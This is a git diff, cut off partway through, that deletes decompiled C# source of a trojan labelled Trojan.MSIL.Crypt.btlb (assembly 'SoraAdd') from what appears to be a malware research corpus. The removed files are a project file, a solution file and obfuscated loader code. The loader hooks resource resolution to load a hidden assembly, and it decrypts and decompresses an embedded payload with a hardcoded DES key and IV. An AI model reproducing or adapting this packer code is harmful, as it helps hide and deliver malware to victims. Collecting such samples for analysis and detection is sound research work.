RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - private static void \u0003(object sender, EventArgs e) - { - if (!\u0003.\u0003.Application.SaveMySettingsOnExit) - return; - \u0001.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.\u0002) - { - object Expression = MySettings.\u0003; - ObjectFlowControl.CheckForSyncLockOnValueType(Expression); - Monitor.Enter(Expression); - try - { - if (!MySettings.\u0002) - { - \u0003.\u0003.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!\u0003.\u0003.Application.SaveMySettingsOnExit) - return; - \u0001.Settings.Save(); - }); - MySettings.\u0002 = true; - } - } - finally - { - Monitor.Exit(Expression); - } - } - return MySettings.\u0001; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/Trojan.MSIL.Crypt.btlb.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/Trojan.MSIL.Crypt.btlb.csproj deleted file mode 100644 index a687a858..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/Trojan.MSIL.Crypt.btlb.csproj +++ /dev/null @@ -1,62 +0,0 @@ - - - - - Debug - AnyCPU - {F0185DD1-6BC1-4F07-9150-344175B3A60C} - WinExe - SoraAdd - 3.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/Trojan.MSIL.Crypt.btlb.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/Trojan.MSIL.Crypt.btlb.sln deleted file mode 100644 index e64df667..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/Trojan.MSIL.Crypt.btlb.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SoraAdd", "Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167.csproj", "{F0185DD1-6BC1-4F07-9150-344175B3A60C}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {F0185DD1-6BC1-4F07-9150-344175B3A60C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {F0185DD1-6BC1-4F07-9150-344175B3A60C}.Debug|Any CPU.Build.0 = Debug|Any CPU - {F0185DD1-6BC1-4F07-9150-344175B3A60C}.Release|Any CPU.ActiveCfg = Release|Any CPU - {F0185DD1-6BC1-4F07-9150-344175B3A60C}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0001/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0001/_0001.cs deleted file mode 100644 index 33fb90bf..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0001/_0001.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167.exe - -using \u0001; -using System; - -namespace \u0001 -{ - internal sealed class \u0001 - { - public static void \u0003() - { - try - { - \u0002.\u0003(); - } - catch (Exception ex) - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0001/_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0001/_0002.cs deleted file mode 100644 index f70e3c87..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0001/_0002.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167.exe - -using \u0001; -using System; -using System.Reflection; -using System.Runtime.InteropServices; - -namespace \u0001 -{ - internal sealed class \u0002 - { - private static Assembly \u0001 = (Assembly) null; - private static string[] \u0002 = new string[0]; - - internal static void \u0003() - { - try - { - AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u0002.\u0003); - } - catch (Exception ex) - { - } - } - - internal static Assembly \u0003([In] object obj0, [In] ResolveEventArgs obj1) - { - if ((object) \u0002.\u0001 == null) - { - lock (\u0002.\u0002) - { - \u0002.\u0001 = Assembly.Load("{3872a73d-48e1-4504-b393-a76428731afe}, PublicKeyToken=3e56350693f7355e"); - if ((object) \u0002.\u0001 != null) - \u0002.\u0002 = \u0002.\u0001.GetManifestResourceNames(); - } - } - string name = obj1.Name; - for (int index = 0; index < \u0002.\u0002.Length; ++index) - { - if (\u0002.\u0002[index] == name) - return \u0002.\u0001; - } - return (Assembly) null; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0001/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0001/_0003.cs deleted file mode 100644 index 4c77aeb1..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0001/_0003.cs +++ /dev/null @@ -1,1013 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167.exe - -using \u0001; -using System; -using System.IO; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; - -namespace \u0001 -{ - internal sealed class \u0003 - { - public static byte[] \u0003([In] byte[] obj0) - { - \u0003.\u0007 obj1 = new \u0003.\u0007(obj0); - byte[] numArray1 = new byte[0]; - int num1 = obj1.\u0004(); - if (num1 == 67324752) - { - short num2 = (short) obj1.\u0003(); - int num3 = obj1.\u0003(); - int num4 = obj1.\u0003(); - if (num1 != 67324752 || num2 != (short) 20 || num3 != 0 || num4 != 8) - throw new FormatException("Wrong Header Signature"); - obj1.\u0004(); - obj1.\u0004(); - obj1.\u0004(); - int length = obj1.\u0004(); - int count1 = obj1.\u0003(); - int count2 = obj1.\u0003(); - if (count1 > 0) - { - byte[] buffer = new byte[count1]; - obj1.Read(buffer, 0, count1); - } - if (count2 > 0) - { - byte[] buffer = new byte[count2]; - obj1.Read(buffer, 0, count2); - } - byte[] buffer1 = new byte[obj1.Length - obj1.Position]; - obj1.Read(buffer1, 0, buffer1.Length); - \u0003.\u0001 obj2 = new \u0003.\u0001(buffer1); - numArray1 = new byte[length]; - obj2.\u0003(numArray1, 0, numArray1.Length); - } - else - { - int num5 = num1 >> 24; - if (num1 - (num5 << 24) != 8223355) - throw new FormatException("Unknown Header"); - if (num5 == 1) - { - int length1 = obj1.\u0004(); - numArray1 = new byte[length1]; - int num6; - for (int index = 0; index < length1; index += num6) - { - int length2 = obj1.\u0004(); - num6 = obj1.\u0004(); - byte[] buffer = new byte[length2]; - obj1.Read(buffer, 0, buffer.Length); - new \u0003.\u0001(buffer).\u0003(numArray1, index, num6); - } - } - if (num5 == 2) - { - DESCryptoServiceProvider cryptoServiceProvider = new DESCryptoServiceProvider(); - cryptoServiceProvider.Key = new byte[8] - { - (byte) 120, - (byte) 141, - (byte) 102, - (byte) 220, - (byte) 241, - (byte) 44, - (byte) 185, - (byte) 225 - }; - cryptoServiceProvider.IV = new byte[8] - { - (byte) 71, - (byte) 136, - (byte) 95, - (byte) 154, - (byte) 88, - (byte) 46, - (byte) 64, - (byte) 117 - }; - byte[] numArray2 = cryptoServiceProvider.CreateDecryptor().TransformFinalBlock(obj0, 4, obj0.Length - 4); - cryptoServiceProvider.Clear(); - numArray1 = \u0003.\u0003(numArray2); - } - } - obj1.Close(); - return numArray1; - } - - internal sealed class \u0001 - { - private static int[] \u0001 = new int[29] - { - 3, - 4, - 5, - 6, - 7, - 8, - 9, - 10, - 11, - 13, - 15, - 17, - 19, - 23, - 27, - 31, - 35, - 43, - 51, - 59, - 67, - 83, - 99, - 115, - 131, - 163, - 195, - 227, - 258 - }; - private static int[] \u0002 = new int[29] - { - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 1, - 1, - 1, - 1, - 2, - 2, - 2, - 2, - 3, - 3, - 3, - 3, - 4, - 4, - 4, - 4, - 5, - 5, - 5, - 5, - 0 - }; - private static int[] \u0003 = new int[30] - { - 1, - 2, - 3, - 4, - 5, - 7, - 9, - 13, - 17, - 25, - 33, - 49, - 65, - 97, - 129, - 193, - 257, - 385, - 513, - 769, - 1025, - 1537, - 2049, - 3073, - 4097, - 6145, - 8193, - 12289, - 16385, - 24577 - }; - private static int[] \u0004 = new int[30] - { - 0, - 0, - 0, - 0, - 1, - 1, - 2, - 2, - 3, - 3, - 4, - 4, - 5, - 5, - 6, - 6, - 7, - 7, - 8, - 8, - 9, - 9, - 10, - 10, - 11, - 11, - 12, - 12, - 13, - 13 - }; - private int \u0005; - private int \u0006; - private int \u0007; - private int \u0008; - private int \u000E; - private bool \u000F; - private \u0003.\u0002 \u0010; - private \u0003.\u0003 \u0011; - private \u0003.\u0005 \u0012; - private \u0003.\u0004 \u0013; - private \u0003.\u0004 \u0014; - - public \u0001([In] byte[] obj0) - { - this.\u0010 = new \u0003.\u0002(); - this.\u0011 = new \u0003.\u0003(); - this.\u0005 = 2; - this.\u0010.\u0003(obj0, 0, obj0.Length); - } - - private bool \u0003() - { - int num1 = this.\u0011.\u0003(); - while (num1 >= 258) - { - switch (this.\u0005) - { - case 7: - int num2; - while (((num2 = this.\u0013.\u0003(this.\u0010)) & -256) == 0) - { - this.\u0011.\u0003(num2); - if (--num1 < 258) - return true; - } - if (num2 < 257) - { - if (num2 < 0) - return false; - this.\u0014 = (\u0003.\u0004) null; - this.\u0013 = (\u0003.\u0004) null; - this.\u0005 = 2; - return true; - } - this.\u0007 = \u0003.\u0001.\u0001[num2 - 257]; - this.\u0006 = \u0003.\u0001.\u0002[num2 - 257]; - goto case 8; - case 8: - if (this.\u0006 > 0) - { - this.\u0005 = 8; - int num3 = this.\u0010.\u0003(this.\u0006); - if (num3 < 0) - return false; - this.\u0010.\u0003(this.\u0006); - this.\u0007 += num3; - } - this.\u0005 = 9; - goto case 9; - case 9: - int index = this.\u0014.\u0003(this.\u0010); - if (index < 0) - return false; - this.\u0008 = \u0003.\u0001.\u0003[index]; - this.\u0006 = \u0003.\u0001.\u0004[index]; - goto case 10; - case 10: - if (this.\u0006 > 0) - { - this.\u0005 = 10; - int num4 = this.\u0010.\u0003(this.\u0006); - if (num4 < 0) - return false; - this.\u0010.\u0003(this.\u0006); - this.\u0008 += num4; - } - this.\u0011.\u0003(this.\u0007, this.\u0008); - num1 -= this.\u0007; - this.\u0005 = 7; - continue; - default: - continue; - } - } - return true; - } - - private bool \u0004() - { - switch (this.\u0005) - { - case 2: - if (this.\u000F) - { - this.\u0005 = 12; - return false; - } - int num = this.\u0010.\u0003(3); - if (num < 0) - return false; - this.\u0010.\u0003(3); - if ((num & 1) != 0) - this.\u000F = true; - switch (num >> 1) - { - case 0: - this.\u0010.\u0003(); - this.\u0005 = 3; - break; - case 1: - this.\u0013 = \u0003.\u0004.\u0003; - this.\u0014 = \u0003.\u0004.\u0004; - this.\u0005 = 7; - break; - case 2: - this.\u0012 = new \u0003.\u0005(); - this.\u0005 = 6; - break; - } - return true; - case 3: - if ((this.\u000E = this.\u0010.\u0003(16)) < 0) - return false; - this.\u0010.\u0003(16); - this.\u0005 = 4; - goto case 4; - case 4: - if (this.\u0010.\u0003(16) < 0) - return false; - this.\u0010.\u0003(16); - this.\u0005 = 5; - goto case 5; - case 5: - this.\u000E -= this.\u0011.\u0003(this.\u0010, this.\u000E); - if (this.\u000E != 0) - return !this.\u0010.\u0003(); - this.\u0005 = 2; - return true; - case 6: - if (!this.\u0012.\u0003(this.\u0010)) - return false; - this.\u0013 = this.\u0012.\u0003(); - this.\u0014 = this.\u0012.\u0004(); - this.\u0005 = 7; - goto case 7; - case 7: - case 8: - case 9: - case 10: - return this.\u0003(); - case 12: - return false; - default: - return false; - } - } - - public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1 = 0; - do - { - if (this.\u0005 != 11) - goto label_5; -label_2: - continue; -label_5: - int num2 = this.\u0011.\u0003(obj0, obj1, obj2); - obj1 += num2; - num1 += num2; - obj2 -= num2; - if (obj2 != 0) - goto label_2; - else - goto label_1; - } - while (this.\u0004() || this.\u0011.\u0004() > 0 && this.\u0005 != 11); - goto label_3; -label_1: - return num1; -label_3: - return num1; - } - } - - internal sealed class \u0002 - { - private byte[] \u0001; - private int \u0002; - private int \u0003; - private uint \u0004; - private int \u0005; - - public int \u0003([In] int obj0) - { - if (this.\u0005 < obj0) - goto label_4; -label_3: - return (int) ((long) this.\u0004 & (long) ((1 << obj0) - 1)); -label_4: - if (this.\u0002 == this.\u0003) - return -1; - this.\u0004 |= (uint) (((int) this.\u0001[this.\u0002++] & (int) byte.MaxValue | ((int) this.\u0001[this.\u0002++] & (int) byte.MaxValue) << 8) << this.\u0005); - this.\u0005 += 16; - goto label_3; - } - - public void \u0003([In] int obj0) - { - this.\u0004 >>= obj0; - this.\u0005 -= obj0; - } - - [SpecialName] - public int \u0003() => this.\u0005; - - [SpecialName] - public int \u0004() => this.\u0003 - this.\u0002 + (this.\u0005 >> 3); - - public void \u0003() - { - this.\u0004 >>= this.\u0005 & 7; - this.\u0005 &= -8; - } - - [SpecialName] - public bool \u0003() => this.\u0002 == this.\u0003; - - public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1 = 0; - while (this.\u0005 > 0 && obj2 > 0) - { - obj0[obj1++] = (byte) this.\u0004; - this.\u0004 >>= 8; - this.\u0005 -= 8; - --obj2; - ++num1; - } - if (obj2 == 0) - return num1; - int num2 = this.\u0003 - this.\u0002; - if (obj2 > num2) - obj2 = num2; - Array.Copy((Array) this.\u0001, this.\u0002, (Array) obj0, obj1, obj2); - this.\u0002 += obj2; - if ((this.\u0002 - this.\u0003 & 1) != 0) - { - this.\u0004 = (uint) this.\u0001[this.\u0002++] & (uint) byte.MaxValue; - this.\u0005 = 8; - } - return num1 + obj2; - } - - public void \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - if (this.\u0002 < this.\u0003) - throw new InvalidOperationException(); - int num = obj1 + obj2; - if (0 > obj1 || obj1 > num || num > obj0.Length) - throw new ArgumentOutOfRangeException(); - if ((obj2 & 1) != 0) - { - this.\u0004 |= (uint) (((int) obj0[obj1++] & (int) byte.MaxValue) << this.\u0005); - this.\u0005 += 8; - } - this.\u0001 = obj0; - this.\u0002 = obj1; - this.\u0003 = num; - } - } - - internal sealed class \u0003 - { - private static int \u0001 = 32768; - private static int \u0002 = \u0003.\u0003.\u0001 - 1; - private byte[] \u0003 = new byte[\u0003.\u0003.\u0001]; - private int \u0004; - private int \u0005; - - public void \u0003([In] int obj0) - { - \u0003.\u0003 obj = this; - int num1; - int num2 = num1 = obj.\u0005; - obj.\u0005 = num1 + 1; - if (num2 == \u0003.\u0003.\u0001) - throw new InvalidOperationException(); - this.\u0003[this.\u0004++] = (byte) obj0; - this.\u0004 &= \u0003.\u0003.\u0002; - } - - private void \u0003([In] int obj0, [In] int obj1, [In] int obj2) - { - while (obj1-- > 0) - { - byte[] numArray = this.\u0003; - \u0003.\u0003 obj = this; - int num1; - int num2 = num1 = obj.\u0004; - obj.\u0004 = num1 + 1; - int index = num2; - int num3 = (int) this.\u0003[obj0++]; - numArray[index] = (byte) num3; - this.\u0004 &= \u0003.\u0003.\u0002; - obj0 &= \u0003.\u0003.\u0002; - } - } - - public void \u0003([In] int obj0, [In] int obj1) - { - if ((this.\u0005 += obj0) > \u0003.\u0003.\u0001) - throw new InvalidOperationException(); - int sourceIndex = this.\u0004 - obj1 & \u0003.\u0003.\u0002; - int num = \u0003.\u0003.\u0001 - obj0; - if (sourceIndex <= num && this.\u0004 < num) - { - if (obj0 <= obj1) - { - Array.Copy((Array) this.\u0003, sourceIndex, (Array) this.\u0003, this.\u0004, obj0); - this.\u0004 += obj0; - } - else - { - while (obj0-- > 0) - this.\u0003[this.\u0004++] = this.\u0003[sourceIndex++]; - } - } - else - this.\u0003(sourceIndex, obj0, obj1); - } - - public int \u0003([In] \u0003.\u0002 obj0, [In] int obj1) - { - obj1 = Math.Min(Math.Min(obj1, \u0003.\u0003.\u0001 - this.\u0005), obj0.\u0004()); - int num1 = \u0003.\u0003.\u0001 - this.\u0004; - int num2; - if (obj1 > num1) - { - num2 = obj0.\u0003(this.\u0003, this.\u0004, num1); - if (num2 == num1) - num2 += obj0.\u0003(this.\u0003, 0, obj1 - num1); - } - else - num2 = obj0.\u0003(this.\u0003, this.\u0004, obj1); - this.\u0004 = this.\u0004 + num2 & \u0003.\u0003.\u0002; - this.\u0005 += num2; - return num2; - } - - public int \u0003() => \u0003.\u0003.\u0001 - this.\u0005; - - public int \u0004() => this.\u0005; - - public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1 = this.\u0004; - if (obj2 > this.\u0005) - obj2 = this.\u0005; - else - num1 = this.\u0004 - this.\u0005 + obj2 & \u0003.\u0003.\u0002; - int num2 = obj2; - int length = obj2 - num1; - if (length > 0) - { - Array.Copy((Array) this.\u0003, \u0003.\u0003.\u0001 - length, (Array) obj0, obj1, length); - obj1 += length; - obj2 = num1; - } - Array.Copy((Array) this.\u0003, num1 - obj2, (Array) obj0, obj1, obj2); - this.\u0005 -= num2; - if (this.\u0005 < 0) - throw new InvalidOperationException(); - return num2; - } - } - - internal sealed class \u0004 - { - private static int \u0001 = 15; - private short[] \u0002; - public static \u0003.\u0004 \u0003; - public static \u0003.\u0004 \u0004; - - static \u0004() - { - byte[] numArray1 = new byte[288]; - int num1 = 0; - while (num1 < 144) - numArray1[num1++] = (byte) 8; - while (num1 < 256) - numArray1[num1++] = (byte) 9; - while (num1 < 280) - numArray1[num1++] = (byte) 7; - while (num1 < 288) - numArray1[num1++] = (byte) 8; - \u0003.\u0004.\u0003 = new \u0003.\u0004(numArray1); - byte[] numArray2 = new byte[32]; - int num2 = 0; - while (num2 < 32) - numArray2[num2++] = (byte) 5; - \u0003.\u0004.\u0004 = new \u0003.\u0004(numArray2); - } - - public \u0004([In] byte[] obj0) => this.\u0003(obj0); - - private void \u0003([In] byte[] obj0) - { - int[] numArray1 = new int[\u0003.\u0004.\u0001 + 1]; - int[] numArray2 = new int[\u0003.\u0004.\u0001 + 1]; - for (int index1 = 0; index1 < obj0.Length; ++index1) - { - int index2 = (int) obj0[index1]; - if (index2 > 0) - ++numArray1[index2]; - } - int num1 = 0; - int length = 512; - for (int index = 1; index <= \u0003.\u0004.\u0001; ++index) - { - numArray2[index] = num1; - num1 += numArray1[index] << 16 - index; - if (index >= 10) - { - int num2 = numArray2[index] & 130944; - int num3 = num1 & 130944; - length += num3 - num2 >> 16 - index; - } - } - this.\u0002 = new short[length]; - int num4 = 512; - for (int index3 = \u0003.\u0004.\u0001; index3 >= 10; --index3) - { - int num5 = num1 & 130944; - num1 -= numArray1[index3] << 16 - index3; - for (int index4 = num1 & 130944; index4 < num5; index4 += 128) - { - this.\u0002[(int) \u0003.\u0006.\u0003(index4)] = (short) (-num4 << 4 | index3); - num4 += 1 << index3 - 9; - } - } - for (int index5 = 0; index5 < obj0.Length; ++index5) - { - int index6 = (int) obj0[index5]; - if (index6 != 0) - { - int num6 = numArray2[index6]; - int index7 = (int) \u0003.\u0006.\u0003(num6); - if (index6 <= 9) - { - do - { - this.\u0002[index7] = (short) (index5 << 4 | index6); - index7 += 1 << index6; - } - while (index7 < 512); - } - else - { - int num7 = (int) this.\u0002[index7 & 511]; - int num8 = 1 << (num7 & 15); - int num9 = -(num7 >> 4); - do - { - this.\u0002[num9 | index7 >> 9] = (short) (index5 << 4 | index6); - index7 += 1 << index6; - } - while (index7 < num8); - } - numArray2[index6] = num6 + (1 << 16 - index6); - } - } - } - - public int \u0003([In] \u0003.\u0002 obj0) - { - int index; - if ((index = obj0.\u0003(9)) >= 0) - { - int num1; - if ((num1 = (int) this.\u0002[index]) >= 0) - { - obj0.\u0003(num1 & 15); - return num1 >> 4; - } - int num2 = -(num1 >> 4); - int num3 = num1 & 15; - int num4; - if ((num4 = obj0.\u0003(num3)) >= 0) - { - int num5 = (int) this.\u0002[num2 | num4 >> 9]; - obj0.\u0003(num5 & 15); - return num5 >> 4; - } - int num6 = obj0.\u0003(); - int num7 = obj0.\u0003(num6); - int num8 = (int) this.\u0002[num2 | num7 >> 9]; - if ((num8 & 15) > num6) - return -1; - obj0.\u0003(num8 & 15); - return num8 >> 4; - } - int num9 = obj0.\u0003(); - int num10 = (int) this.\u0002[obj0.\u0003(num9)]; - if (num10 < 0 || (num10 & 15) > num9) - return -1; - obj0.\u0003(num10 & 15); - return num10 >> 4; - } - } - - internal sealed class \u0005 - { - private static readonly int[] \u0001 = new int[3] - { - 3, - 3, - 11 - }; - private static readonly int[] \u0002 = new int[3] - { - 2, - 3, - 7 - }; - private byte[] \u0003; - private byte[] \u0004; - private \u0003.\u0004 \u0005; - private int \u0006; - private int \u0007; - private int \u0008; - private int \u000E; - private int \u000F; - private int \u0010; - private byte \u0011; - private int \u0012; - private static readonly int[] \u0013 = new int[19] - { - 16, - 17, - 18, - 0, - 8, - 7, - 9, - 6, - 10, - 5, - 11, - 4, - 12, - 3, - 13, - 2, - 14, - 1, - 15 - }; - - public bool \u0003([In] \u0003.\u0002 obj0) - { - while (true) - { - switch (this.\u0006) - { - case 0: - this.\u0007 = obj0.\u0003(5); - if (this.\u0007 >= 0) - { - this.\u0007 += 257; - obj0.\u0003(5); - this.\u0006 = 1; - goto case 1; - } - else - goto label_2; - case 1: - this.\u0008 = obj0.\u0003(5); - if (this.\u0008 >= 0) - { - ++this.\u0008; - obj0.\u0003(5); - this.\u000F = this.\u0007 + this.\u0008; - this.\u0004 = new byte[this.\u000F]; - this.\u0006 = 2; - goto case 2; - } - else - goto label_5; - case 2: - this.\u000E = obj0.\u0003(4); - if (this.\u000E >= 0) - { - this.\u000E += 4; - obj0.\u0003(4); - this.\u0003 = new byte[19]; - this.\u0012 = 0; - this.\u0006 = 3; - goto case 3; - } - else - goto label_8; - case 3: - for (; this.\u0012 < this.\u000E; ++this.\u0012) - { - int num = obj0.\u0003(3); - if (num < 0) - return false; - obj0.\u0003(3); - this.\u0003[\u0003.\u0005.\u0013[this.\u0012]] = (byte) num; - } - this.\u0005 = new \u0003.\u0004(this.\u0003); - this.\u0003 = (byte[]) null; - this.\u0012 = 0; - this.\u0006 = 4; - goto case 4; - case 4: - int num1; - while (((num1 = this.\u0005.\u0003(obj0)) & -16) == 0) - { - this.\u0004[this.\u0012++] = this.\u0011 = (byte) num1; - if (this.\u0012 == this.\u000F) - return true; - } - if (num1 >= 0) - { - if (num1 >= 17) - this.\u0011 = (byte) 0; - this.\u0010 = num1 - 16; - this.\u0006 = 5; - goto case 5; - } - else - goto label_19; - case 5: - int num2 = \u0003.\u0005.\u0002[this.\u0010]; - int num3 = obj0.\u0003(num2); - if (num3 >= 0) - { - obj0.\u0003(num2); - int num4 = num3 + \u0003.\u0005.\u0001[this.\u0010]; - while (num4-- > 0) - this.\u0004[this.\u0012++] = this.\u0011; - if (this.\u0012 != this.\u000F) - { - this.\u0006 = 4; - continue; - } - goto label_29; - } - else - goto label_24; - default: - continue; - } - } -label_2: - return false; -label_5: - return false; -label_8: - return false; -label_19: - return false; -label_24: - return false; -label_29: - return true; - } - - public \u0003.\u0004 \u0003() - { - byte[] destinationArray = new byte[this.\u0007]; - Array.Copy((Array) this.\u0004, 0, (Array) destinationArray, 0, this.\u0007); - return new \u0003.\u0004(destinationArray); - } - - public \u0003.\u0004 \u0004() - { - byte[] destinationArray = new byte[this.\u0008]; - Array.Copy((Array) this.\u0004, this.\u0007, (Array) destinationArray, 0, this.\u0008); - return new \u0003.\u0004(destinationArray); - } - } - - internal sealed class \u0006 - { - private static int \u0001 = 16384; - private static int \u0002 = 286; - private static int \u0003 = 30; - private static int \u0004 = 19; - private static int \u0005 = 16; - private static int \u0006 = 17; - private static int \u0007 = 18; - private static int \u0008 = 256; - private static int[] \u000E = new int[19] - { - 16, - 17, - 18, - 0, - 8, - 7, - 9, - 6, - 10, - 5, - 11, - 4, - 12, - 3, - 13, - 2, - 14, - 1, - 15 - }; - private static byte[] \u000F = new byte[16] - { - (byte) 0, - (byte) 8, - (byte) 4, - (byte) 12, - (byte) 2, - (byte) 10, - (byte) 6, - (byte) 14, - (byte) 1, - (byte) 9, - (byte) 5, - (byte) 13, - (byte) 3, - (byte) 11, - (byte) 7, - (byte) 15 - }; - private static short[] \u0010 = new short[\u0003.\u0006.\u0002]; - private static byte[] \u0011 = new byte[\u0003.\u0006.\u0002]; - private static short[] \u0012; - private static byte[] \u0013; - - public static short \u0003([In] int obj0) => (short) ((int) \u0003.\u0006.\u000F[obj0 & 15] << 12 | (int) \u0003.\u0006.\u000F[obj0 >> 4 & 15] << 8 | (int) \u0003.\u0006.\u000F[obj0 >> 8 & 15] << 4 | (int) \u0003.\u0006.\u000F[obj0 >> 12]); - - static \u0006() - { - int index1; - for (index1 = 0; index1 < 144; \u0003.\u0006.\u0011[index1++] = (byte) 8) - \u0003.\u0006.\u0010[index1] = \u0003.\u0006.\u0003(48 + index1 << 8); - for (; index1 < 256; \u0003.\u0006.\u0011[index1++] = (byte) 9) - \u0003.\u0006.\u0010[index1] = \u0003.\u0006.\u0003(256 + index1 << 7); - for (; index1 < 280; \u0003.\u0006.\u0011[index1++] = (byte) 7) - \u0003.\u0006.\u0010[index1] = \u0003.\u0006.\u0003(index1 - 256 << 9); - for (; index1 < \u0003.\u0006.\u0002; \u0003.\u0006.\u0011[index1++] = (byte) 8) - \u0003.\u0006.\u0010[index1] = \u0003.\u0006.\u0003(index1 - 88 << 8); - \u0003.\u0006.\u0012 = new short[\u0003.\u0006.\u0003]; - \u0003.\u0006.\u0013 = new byte[\u0003.\u0006.\u0003]; - for (int index2 = 0; index2 < \u0003.\u0006.\u0003; ++index2) - { - \u0003.\u0006.\u0012[index2] = \u0003.\u0006.\u0003(index2 << 11); - \u0003.\u0006.\u0013[index2] = (byte) 5; - } - } - } - - internal sealed class \u0007 : MemoryStream - { - public int \u0003() => this.ReadByte() | this.ReadByte() << 8; - - public int \u0004() => this.\u0003() | this.\u0003() << 16; - - public \u0007([In] byte[] obj0) - : base(obj0, false) - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0001/_0004.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0001/_0004.cs deleted file mode 100644 index acb9c59c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0001/_0004.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: 